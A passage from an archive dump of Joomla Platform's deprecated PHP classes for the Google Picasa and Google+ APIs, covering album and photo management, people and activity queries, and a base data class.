Google: `{$jdata->body}`.");
}
$this->xml = null;
return true;
}
else
{
return false;
}
}
/**
* Method to get the album link
*
* @param string $type Type of link to return
*
* @return string Link or false on failure
*
* @since 3.1.4
*/
public function getLink($type = 'edit')
{
$links = $this->xml->link;
foreach ($links as $link)
{
if ($link->attributes()->rel == $type)
{
return (string) $link->attributes()->href;
}
}
return false;
}
/**
* Method to get the title of the album
*
* @return string Album title
*
* @since 3.1.4
*/
public function getTitle()
{
return (string) $this->xml->children()->title;
}
/**
* Method to get the summary of the album
*
* @return string Album summary
*
* @since 3.1.4
*/
public function getSummary()
{
return (string) $this->xml->children()->summary;
}
/**
* Method to get the location of the album
*
* @return string Album location
*
* @since 3.1.4
*/
public function getLocation()
{
return (string) $this->xml->children('gphoto',
true)->location;
}
/**
* Method to get the access level of the album
*
* @return string Album access level
*
* @since 3.1.4
*/
public function getAccess()
{
return (string) $this->xml->children('gphoto',
true)->access;
}
/**
* Method to get the time of the album
*
* @return double Album time
*
* @since 3.1.4
*/
public function getTime()
{
return (double) $this->xml->children('gphoto',
true)->timestamp / 1000;
}
/**
* Method to set the title of the album
*
* @param string $title New album title
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setTitle($title)
{
$this->xml->children()->title = $title;
return $this;
}
/**
* Method to set the summary of the album
*
* @param string $summary New album summary
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setSummary($summary)
{
$this->xml->children()->summary = $summary;
return $this;
}
/**
* Method to set the location of the album
*
* @param string $location New album location
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setLocation($location)
{
$this->xml->children('gphoto', true)->location =
$location;
return $this;
}
/**
* Method to set the access level of the album
*
* @param string $access New album access
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setAccess($access)
{
$this->xml->children('gphoto', true)->access =
$access;
return $this;
}
/**
* Method to set the time of the album
*
* @param int $time New album time
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setTime($time)
{
$this->xml->children('gphoto', true)->timestamp =
$time * 1000;
return $this;
}
/**
* Method to modify a Picasa Album
*
* @param string $match Optional eTag matching parameter
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws Exception
*/
public function save($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$headers = array('GData-Version' => 2,
'Content-type' => 'application/atom+xml',
'If-Match' => $match);
$jdata = $this->query($url, $this->xml->asXml(), $headers,
'put');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
/**
* Refresh Picasa Album
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function refresh()
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
/**
* Method to retrieve a list of Picasa Photos
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listPhotos()
{
if ($this->isAuthenticated())
{
$url =
$this->getLink('http://schemas.google.com/g/2005#feed');
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$xml = $this->safeXml($jdata->body);
if (isset($xml->children()->entry))
{
$items = array();
foreach ($xml->children()->entry as $item)
{
$items[] = new JGoogleDataPicasaPhoto($item, $this->options,
$this->auth);
}
return $items;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Add photo
*
* @param string $file Path of file to upload
* @param string $title Title to give to file (defaults to filename)
* @param string $summary Description of the file
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws RuntimeException
*/
public function upload($file, $title = '', $summary =
'')
{
if ($this->isAuthenticated())
{
jimport('joomla.filesystem.file');
$title = $title != '' ? $title : JFile::getName($file);
if (!($type = $this->getMime($file)))
{
throw new RuntimeException('Inappropriate file type.');
}
if (!($data = file_get_contents($file)))
{
throw new RuntimeException("Cannot access file: `$file`");
}
$xml = new SimpleXMLElement('<entry></entry>');
$xml->addAttribute('xmlns',
'http://www.w3.org/2005/Atom');
$xml->addChild('title', $title);
$xml->addChild('summary', $summary);
$cat = $xml->addChild('category', '');
$cat->addAttribute('scheme',
'http://schemas.google.com/g/2005#kind');
$cat->addAttribute('term',
'http://schemas.google.com/photos/2007#photo');
$post = "Media multipart posting\n";
$post .= "--END_OF_PART\n";
$post .= "Content-Type: application/atom+xml\n\n";
$post .= $xml->asXml() . "\n";
$post .= "--END_OF_PART\n";
$post .= "Content-Type: {$type}\n\n";
$post .= $data;
$jdata = $this->query($this->getLink(), $post,
array('GData-Version' => 2, 'Content-Type:
multipart/related'), 'post');
return new JGoogleDataPicasaPhoto($this->safeXml($jdata->body),
$this->options, $this->auth);
}
else
{
return false;
}
}
/**
* Add photo
*
* @param string $file Filename
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
protected function getMime($file)
{
switch (strtolower(JFile::getExt($file)))
{
case 'bmp':
case 'bm':
return 'image/bmp';
case 'gif':
return 'image/gif';
case 'jpg':
case 'jpeg':
case 'jpe':
case 'jif':
case 'jfif':
case 'jfi':
return 'image/jpeg';
case 'png':
return 'image/png';
case '3gp':
return 'video/3gpp';
case 'avi':
return 'video/avi';
case 'mov':
case 'moov':
case 'qt':
return 'video/quicktime';
case 'mp4':
case 'm4a':
case 'm4p':
case 'm4b':
case 'm4r':
case 'm4v':
return 'video/mp4';
case 'mpg':
case 'mpeg':
case 'mp1':
case 'mp2':
case 'mp3':
case 'm1v':
case 'm1a':
case 'm2a':
case 'mpa':
case 'mpv':
return 'video/mpeg';
case 'asf':
return 'video/x-ms-asf';
case 'wmv':
return 'video/x-ms-wmv';
default:
return false;
}
}
}
google/data/picasa/photo.php000064400000016233151171674110012044
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Picasa data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPicasaPhoto extends JGoogleData
{
/**
* @var SimpleXMLElement The photo's XML
* @since 3.1.4
*/
protected $xml;
/**
* Constructor.
*
* @param SimpleXMLElement $xml XML from Google
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(SimpleXMLElement $xml, Registry $options =
null, JGoogleAuth $auth = null)
{
$this->xml = $xml;
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://picasaweb.google.com/data/');
}
}
/**
* Method to delete a Picasa photo
*
* @param mixed $match Check for most up to date photo
*
* @return boolean Success or failure.
*
* @since 3.1.4
* @throws Exception
* @throws RuntimeException
* @throws UnexpectedValueException
*/
public function delete($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$jdata = $this->query($url, null, array('GData-Version'
=> 2, 'If-Match' => $match), 'delete');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
if ($jdata->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
$this->xml = null;
return true;
}
else
{
return false;
}
}
/**
* Method to get the photo link
*
* @param string $type Type of link to return
*
* @return string Link or false on failure
*
* @since 3.1.4
*/
public function getLink($type = 'edit')
{
$links = $this->xml->link;
foreach ($links as $link)
{
if ($link->attributes()->rel == $type)
{
return (string) $link->attributes()->href;
}
}
return false;
}
/**
* Method to get the photo's URL
*
* @return string Link
*
* @since 3.1.4
*/
public function getUrl()
{
return (string)
$this->xml->children()->content->attributes()->src;
}
/**
* Method to get the photo's thumbnails
*
* @return array An array of thumbnails
*
* @since 3.1.4
*/
public function getThumbnails()
{
$thumbs = array();
foreach ($this->xml->children('media',
true)->group->thumbnail as $item)
{
$url = (string) $item->attributes()->url;
$width = (int) $item->attributes()->width;
$height = (int) $item->attributes()->height;
$thumbs[$width] = array('url' => $url, 'w' =>
$width, 'h' => $height);
}
return $thumbs;
}
/**
* Method to get the title of the photo
*
* @return string Photo title
*
* @since 3.1.4
*/
public function getTitle()
{
return (string) $this->xml->children()->title;
}
/**
* Method to get the summary of the photo
*
* @return string Photo description
*
* @since 3.1.4
*/
public function getSummary()
{
return (string) $this->xml->children()->summary;
}
/**
* Method to get the access level of the photo
*
* @return string Photo access level
*
* @since 3.1.4
*/
public function getAccess()
{
return (string) $this->xml->children('gphoto',
true)->access;
}
/**
* Method to get the time of the photo
*
* @return double Photo time
*
* @since 3.1.4
*/
public function getTime()
{
return (double) $this->xml->children('gphoto',
true)->timestamp / 1000;
}
/**
* Method to get the size of the photo
*
* @return int Photo size
*
* @since 3.1.4
*/
public function getSize()
{
return (int) $this->xml->children('gphoto',
true)->size;
}
/**
* Method to get the height of the photo
*
* @return int Photo height
*
* @since 3.1.4
*/
public function getHeight()
{
return (int) $this->xml->children('gphoto',
true)->height;
}
/**
* Method to get the width of the photo
*
* @return int Photo width
*
* @since 3.1.4
*/
public function getWidth()
{
return (int) $this->xml->children('gphoto',
true)->width;
}
/**
* Method to set the title of the photo
*
* @param string $title New photo title
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setTitle($title)
{
$this->xml->children()->title = $title;
return $this;
}
/**
* Method to set the summary of the photo
*
* @param string $summary New photo description
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setSummary($summary)
{
$this->xml->children()->summary = $summary;
return $this;
}
/**
* Method to set the access level of the photo
*
* @param string $access New photo access level
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setAccess($access)
{
$this->xml->children('gphoto', true)->access =
$access;
return $this;
}
/**
* Method to set the time of the photo
*
* @param int $time New photo time
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setTime($time)
{
$this->xml->children('gphoto', true)->timestamp =
$time * 1000;
return $this;
}
/**
* Method to modify a Picasa Photo
*
* @param string $match Optional eTag matching parameter
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
public function save($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$headers = array('GData-Version' => 2,
'Content-type' => 'application/atom+xml',
'If-Match' => $match);
$jdata = $this->query($url, $this->xml->asXml(), $headers,
'put');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
/**
* Refresh photo data
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function refresh()
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
}
google/data/picasa.php000064400000010036151171674110010706 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Picasa data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPicasa extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://picasaweb.google.com/data/');
}
}
/**
* Method to retrieve a list of Picasa Albums
*
* @param string $userID ID of user
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listAlbums($userID = 'default')
{
if ($this->isAuthenticated())
{
$url = 'https://picasaweb.google.com/data/feed/api/user/' .
urlencode($userID);
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$xml = $this->safeXml($jdata->body);
if (isset($xml->children()->entry))
{
$items = array();
foreach ($xml->children()->entry as $item)
{
$items[] = new JGoogleDataPicasaAlbum($item, $this->options,
$this->auth);
}
return $items;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to create a Picasa Album
*
* @param string $userID ID of user
* @param string $title New album title
* @param string $access New album access settings
* @param string $summary New album summary
* @param string $location New album location
* @param int $time New album timestamp
* @param array $keywords New album keywords
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
public function createAlbum($userID = 'default', $title =
'', $access = 'private', $summary = '',
$location = '', $time = false, $keywords = array())
{
if ($this->isAuthenticated())
{
$time = $time ? $time : time();
$title = $title != '' ? $title : date('F j, Y');
$xml = new SimpleXMLElement('<entry></entry>');
$xml->addAttribute('xmlns',
'http://www.w3.org/2005/Atom');
$xml->addChild('title', $title);
$xml->addChild('summary', $summary);
$xml->addChild('gphoto:location', $location,
'http://schemas.google.com/photos/2007');
$xml->addChild('gphoto:access', $access);
$xml->addChild('gphoto:timestamp', $time);
$media = $xml->addChild('media:group', '',
'http://search.yahoo.com/mrss/');
$media->addChild('media:keywords', implode(', ',
$keywords));
$cat = $xml->addChild('category', '');
$cat->addAttribute('scheme',
'http://schemas.google.com/g/2005#kind');
$cat->addAttribute('term',
'http://schemas.google.com/photos/2007#album');
$url = 'https://picasaweb.google.com/data/feed/api/user/' .
urlencode($userID);
$jdata = $this->query($url, $xml->asXml(),
array('GData-Version' => 2, 'Content-type' =>
'application/atom+xml'), 'post');
$xml = $this->safeXml($jdata->body);
return new JGoogleDataPicasaAlbum($xml, $this->options,
$this->auth);
}
else
{
return false;
}
}
/**
* Get Picasa Album
*
* @param string $url URL of album to get
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getAlbum($url)
{
if ($this->isAuthenticated())
{
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$xml = $this->safeXml($jdata->body);
return new JGoogleDataPicasaAlbum($xml, $this->options,
$this->auth);
}
else
{
return false;
}
}
}
google/data/plus/activities.php000064400000012556151171674110012606
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlusActivities extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* List all of the activities in the specified collection for a particular
user.
*
* @param string $userId The ID of the user to get activities
for. The special value "me" can be used to indicate the
authenticated user.
* @param string $collection The collection of activities to list.
Acceptable values are: "public".
* @param string $fields Used to specify the fields you want
returned.
* @param integer $max The maximum number of people to include
in the response, used for paging.
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
* @param string $alt Specifies an alternative representation
type. Acceptable values are: "json" - Use JSON format (default)
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function listActivities($userId, $collection, $fields = null, $max
= 10, $token = null, $alt = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') . 'people/' .
$userId . '/activities/' . $collection;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if max is specified.
if ($max != 10)
{
$url .= (strpos($url, '?') === false) ?
'?maxResults=' : '&maxResults=';
$url .= $max;
}
// Check if token is specified.
if ($token)
{
$url .= (strpos($url, '?') === false) ?
'?pageToken=' : '&pageToken=';
$url .= $token;
}
// Check if alt is specified.
if ($alt)
{
$url .= (strpos($url, '?') === false) ? '?alt=' :
'&alt=';
$url .= $alt;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Get an activity.
*
* @param string $id The ID of the activity to get.
* @param string $fields Used to specify the fields you want returned.
* @param string $alt Specifies an alternative representation type.
Acceptable values are: "json" - Use JSON format (default)
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function getActivity($id, $fields = null, $alt = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities/' . $id;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if alt is specified.
if ($alt)
{
$url .= (strpos($url, '?') === false) ? '?alt=' :
'&alt=';
$url .= $alt;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Search all public activities.
*
* @param string $query Full-text search query string.
* @param string $fields Used to specify the fields you want
returned.
* @param string $language Specify the preferred language to search
with. https://developers.google.com/+/api/search#available-languages
* @param integer $max The maximum number of people to include in
the response, used for paging.
* @param string $order Specifies how to order search results.
Acceptable values are "best" and "recent".
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function search($query, $fields = null, $language = null, $max =
10, $order = null, $token = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities?query=' . urlencode($query);
// Check if fields is specified.
if ($fields)
{
$url .= '&fields=' . $fields;
}
// Check if language is specified.
if ($language)
{
$url .= '&language=' . $language;
}
// Check if max is specified.
if ($max != 10)
{
$url .= '&maxResults=' . $max;
}
// Check if order is specified.
if ($order)
{
$url .= '&orderBy=' . $order;
}
// Check of token is specified.
if ($token)
{
$url .= '&pageToken=' . $token;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
}
google/data/plus/comments.php000064400000006737151171674110012273
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlusComments extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* List all of the comments for an activity.
*
* @param string $activityId The ID of the activity to get comments
for.
* @param string $fields Used to specify the fields you want
returned.
* @param integer $max The maximum number of people to include
in the response, used for paging.
* @param string $order The order in which to sort the list of
comments. Acceptable values are "ascending" and
"descending".
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
* @param string $alt Specifies an alternative representation
type. Acceptable values are: "json" - Use JSON format (default)
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function listComments($activityId, $fields = null, $max = 20,
$order = null, $token = null, $alt = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities/' . $activityId . '/comments';
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if max is specified.
if ($max != 20)
{
$url .= (strpos($url, '?') === false) ?
'?maxResults=' : '&maxResults=';
$url .= $max;
}
// Check if order is specified.
if ($order)
{
$url .= (strpos($url, '?') === false) ? '?orderBy='
: '&orderBy=';
$url .= $order;
}
// Check of token is specified.
if ($token)
{
$url .= (strpos($url, '?') === false) ?
'?pageToken=' : '&pageToken=';
$url .= $token;
}
// Check if alt is specified.
if ($alt)
{
$url .= (strpos($url, '?') === false) ? '?alt=' :
'&alt=';
$url .= $alt;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Get a comment.
*
* @param string $id The ID of the comment to get.
* @param string $fields Used to specify the fields you want returned.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function getComment($id, $fields = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') . 'comments/'
. $id;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
}
google/data/plus/people.php000064400000011244151171674110011717
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlusPeople extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* Get a person's profile.
*
* @param string $id The ID of the person to get the profile for.
The special value "me" can be used to indicate the authenticated
user.
* @param string $fields Used to specify the fields you want returned.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function getPeople($id, $fields = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') . 'people/' .
$id;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Search all public profiles.
*
* @param string $query Specify a query string for full text
search of public text in all profiles.
* @param string $fields Used to specify the fields you want
returned.
* @param string $language Specify the preferred language to search
with. https://developers.google.com/+/api/search#available-languages
* @param integer $max The maximum number of people to include in
the response, used for paging.
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function search($query, $fields = null, $language = null, $max =
10, $token = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'people?query=' . urlencode($query);
// Check if fields is specified.
if ($fields)
{
$url .= '&fields=' . $fields;
}
// Check if language is specified.
if ($language)
{
$url .= '&language=' . $language;
}
// Check if max is specified.
if ($max != 10)
{
$url .= '&maxResults=' . $max;
}
// Check of token is specified.
if ($token)
{
$url .= '&pageToken=' . $token;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* List all of the people in the specified collection for a particular
activity.
*
* @param string $activityId The ID of the activity to get the list
of people for.
* @param string $collection The collection of people to list.
Acceptable values are "plusoners" and "resharers".
* @param string $fields Used to specify the fields you want
returned.
* @param integer $max The maximum number of people to include
in the response, used for paging.
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function listByActivity($activityId, $collection, $fields = null,
$max = 10, $token = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities/' . $activityId . '/people/' . $collection;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if max is specified.
if ($max != 10)
{
$url .= (strpos($url, '?') === false) ?
'?maxResults=' : '&maxResults=';
$url .= $max;
}
// Check of token is specified.
if ($token)
{
$url .= (strpos($url, '?') === false) ?
'?pageToken=' : '&pageToken=';
$url .= $token;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
}
google/data/plus.php000064400000004310151171674110010427 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlus extends JGoogleData
{
/**
* @var JGoogleDataPlusPeople Google+ API object for people.
* @since 3.1.4
*/
protected $people;
/**
* @var JGoogleDataPlusActivities Google+ API object for people.
* @since 3.1.4
*/
protected $activities;
/**
* @var JGoogleDataPlusComments Google+ API object for people.
* @since 3.1.4
*/
protected $comments;
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
// Setup the default API url if not already set.
$options->def('api.url',
'https://www.googleapis.com/plus/v1/');
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JGoogleDataPlus Google+ API object (people, activities,
comments).
*
* @since 3.1.4
*/
public function __get($name)
{
switch ($name)
{
case 'people':
if ($this->people == null)
{
$this->people = new JGoogleDataPlusPeople($this->options,
$this->auth);
}
return $this->people;
case 'activities':
if ($this->activities == null)
{
$this->activities = new
JGoogleDataPlusActivities($this->options, $this->auth);
}
return $this->activities;
case 'comments':
if ($this->comments == null)
{
$this->comments = new JGoogleDataPlusComments($this->options,
$this->auth);
}
return $this->comments;
}
}
}
google/data.php000064400000010164151171674110007450 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google API data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
abstract class JGoogleData
{
/**
* @var Registry Options for the Google data object.
* @since 3.1.4
*/
protected $options;
/**
* @var JGoogleAuth Authentication client for the Google data object.
* @since 3.1.4
*/
protected $auth;
/**
* Constructor.
*
* @param Registry $options Google options object.
* @param JGoogleAuth $auth Google data http client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
$this->options = isset($options) ? $options : new Registry;
$this->auth = isset($auth) ? $auth : new
JGoogleAuthOauth2($this->options);
}
/**
* Method to authenticate to Google
*
* @return boolean True on success.
*
* @since 3.1.4
*/
public function authenticate()
{
return $this->auth->authenticate();
}
/**
* Check authentication
*
* @return boolean True if authenticated.
*
* @since 3.1.4
*/
public function isAuthenticated()
{
return $this->auth->isAuthenticated();
}
/**
* Method to validate XML
*
* @param string $data XML data to be parsed
*
* @return SimpleXMLElement XMLElement of parsed data
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
protected static function safeXml($data)
{
try
{
return new SimpleXMLElement($data, LIBXML_NOWARNING | LIBXML_NOERROR);
}
catch (Exception $e)
{
throw new UnexpectedValueException("Unexpected data received from
Google: `$data`.", $e->getCode(), $e);
}
}
/**
* Method to retrieve a list of data
*
* @param array $url URL to GET
* @param int $maxpages Maximum number of pages to return
* @param string $token Next page token
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
protected function listGetData($url, $maxpages = 1, $token = null)
{
$qurl = $url;
if (strpos($url, '&') && isset($token))
{
$qurl .= '&pageToken=' . $token;
}
elseif (isset($token))
{
$qurl .= 'pageToken=' . $token;
}
$jdata = $this->query($qurl);
$data = json_decode($jdata->body, true);
if ($data && array_key_exists('items', $data))
{
if ($maxpages != 1 &&
array_key_exists('nextPageToken', $data))
{
$data['items'] = array_merge($data['items'],
$this->listGetData($url, $maxpages - 1,
$data['nextPageToken']));
}
return $data['items'];
}
elseif ($data)
{
return array();
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
/**
* Method to retrieve data from Google
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request.
* @param array $headers The headers to send with the request.
* @param string $method The type of http request to send.
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
protected function query($url, $data = null, $headers = null, $method =
'get')
{
